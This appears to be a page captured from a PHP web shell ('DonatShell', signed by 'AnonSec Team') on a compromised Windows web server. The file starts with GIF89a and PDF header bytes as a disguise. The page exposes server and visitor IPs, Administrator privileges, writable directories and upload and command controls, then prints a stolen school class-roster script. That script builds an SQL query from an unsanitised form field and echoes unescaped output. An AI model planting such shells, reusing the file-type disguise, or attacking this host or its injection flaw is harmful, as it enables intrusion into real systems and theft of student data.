GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/ProcessClassRoster.phpinc
<?
// ProcessClassRoster.phpinc

//setDebugOn();
debugTrackBegin();
#if (dc()) echo "<b>".__FILE__."</b><br>\n";
$f_classId = formValue('classId');
$f_courseNumber = formValue('courseNumber');
$f_courselinkId = formValue('courselinkId');
$f_ClassRoster = formValue('ClassRoster');
// Get current class roster.
$classRosterCurrent = array();
$query = "
SELECT
  classstudent.userStudentId,
  classstudent.userFirstName,
  classstudent.userLastName
FROM classstudent
WHERE classstudent.classId = ".$f_classId."
";
$classstudentResult = query_do($query);
$classstudentCount = $_SESSION['qry']['count'];
if ($classstudentCount) {
  mysqli_data_seek($classstudentResult, 0);
  while ($classstudentRow = mysqli_fetch_assoc($classstudentResult)) {
		$classRosterCurrent[$i] = $classstudentRow['userStudentId'];
		$classRosterCurrent[$i] = $classstudentRow['userFirstName']." ".$classRosterCurrent[$i];
		$classRosterCurrent[$i] = $classstudentRow['userLastName']." ".$classRosterCurrent[$i];
  }
}
if (dc()) {
	echo "<b>\$classRosterCurrent=[</b>";
	print_r($classRosterCurrent);
	echo "<b>]</b><br>\n";
}
// Get class roster entered.
$classRosterEntered = array();
$classRosterLines = explode("\n",$f_ClassRoster);
$classRosterLineCount = count($classRosterLines);
echo "\$classRosterLineCount=".$classRosterLineCount."<br>\n";
for($i=0; $i<$classRosterLineCount; $i++) {
	//echo "\$classRosterLines[$i]=[".$classRosterLines[$i]."]<br>\n";
	if (strstr($classRosterLines[$i],"LDA")) {
		// LDA found. This is a current student line.
		$classRosterEntered[$i] = strtok($classRosterLines[$i], " \n\t");
		$classRosterEntered[$i] = str_replace(",","",strtok(" \n\t"))." ".$classRosterEntered[$i];
		$classRosterEntered[$i] = strtok(" \n\t")." ".$classRosterEntered[$i];
		//echo $classRosterEntered[$i]['userStudentId']." ".$classRosterEntered[$i]['userFirstName']." ".$classRosterEntered[$i]['userLastName']."<br>\n";
	}
}
if (dc()) {
	echo "<b>\$classRosterEntered=[</b>";
	print_r($classRosterEntered);
	echo "<b>]</b><br>\n";
}
// Merge class lists.
$classRosterMerged = array();
if ($classstudentCount > 0) {
	for($i=0; $i<$classstudentCount; $i++) {
		if (in_array($classRosterCurrent[$i],$classRosterEntered)) {
			$classRosterMerged[] = $classRosterCurrent[$i]." Both";
		} else {
			$classRosterMerged[] = $classRosterCurrent[$i]." Drop";
		}
	}
}
if ($classstudentCount > 0) {
	for($i=0; $i<$classRosterLineCount; $i++) {
		if (!in_array($classRosterEntered[$i],$classRosterCurrent)) {
			$classRosterMerged[] = $classRosterEntered[$i]." Add";
		}
	}
}
$classRosterMergedCount = count($classRosterMerged);
if (dc()) {
	echo "<b>\$classRosterMerged=[</b>";
	print_r($classRosterMerged);
	echo "<b>]</b><br>\n";
}
sort($classRosterMerged);
if (dc()) {
	echo "<b>\$classRosterMerged=[</b>";
	print_r($classRosterMerged);
	echo "<b>]</b><br>\n";
}
// Display class roster changes.
?>
<style type="text/css">
.userAdd {
	color:#0000C0
}
.userBoth {
	color:#008000
}
.userDrop {
	color:#C00000
}
</style>
<fieldset><legend>Class Roster Changes</legend>
<?
if ($classRosterMergedCount) {
	$studentsPerColumn = (int) ($classRosterMergedCount/5+.99);
	//echo $studentsPerColumn."<br>\n";
?>
	<table><tr>
<?
  $studentsThisColumn = 0;
	for ($i=0; $i<$classRosterMergedCount; $i++) {
		if ($studentsThisColumn == 0) {
?>
		<td style="padding-right:10px;">
<?
		}
		$userFirstName = strtok($classRosterMerged[$i], " \n\t");
		$userLastName = strtok(" \n\t");
		$userStudentId = strtok(" \n\t");
		$userAction = strtok(" \n\t");
?>
		<span class="user<?=$userAction?>"><?=$userStudentId?> <?=$userFirstName?> <?=$userLastName?><br></span>
<?
		$studentsThisColumn++;
		if ($studentsThisColumn == $studentsPerColumn) {
			$studentsThisColumn = 0;
?>
		</td>
<?
		}
  }
	if ($studentsThisColumn != 0) {
?>
		</td>
<?
	}
?>
</tr></table>
<?
} else {
?>
No students are in the class list.
<?
}
?>
</fieldset>

<span class="userAdd">Blue = Student is not on the class roster and will be added.</span><br>
<span class="userBoth">Green = Student is already on the class roster.</span><br>
<span class="userDrop">Red = Student is not on the class roster and will be dropped.</span><br>
<?
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team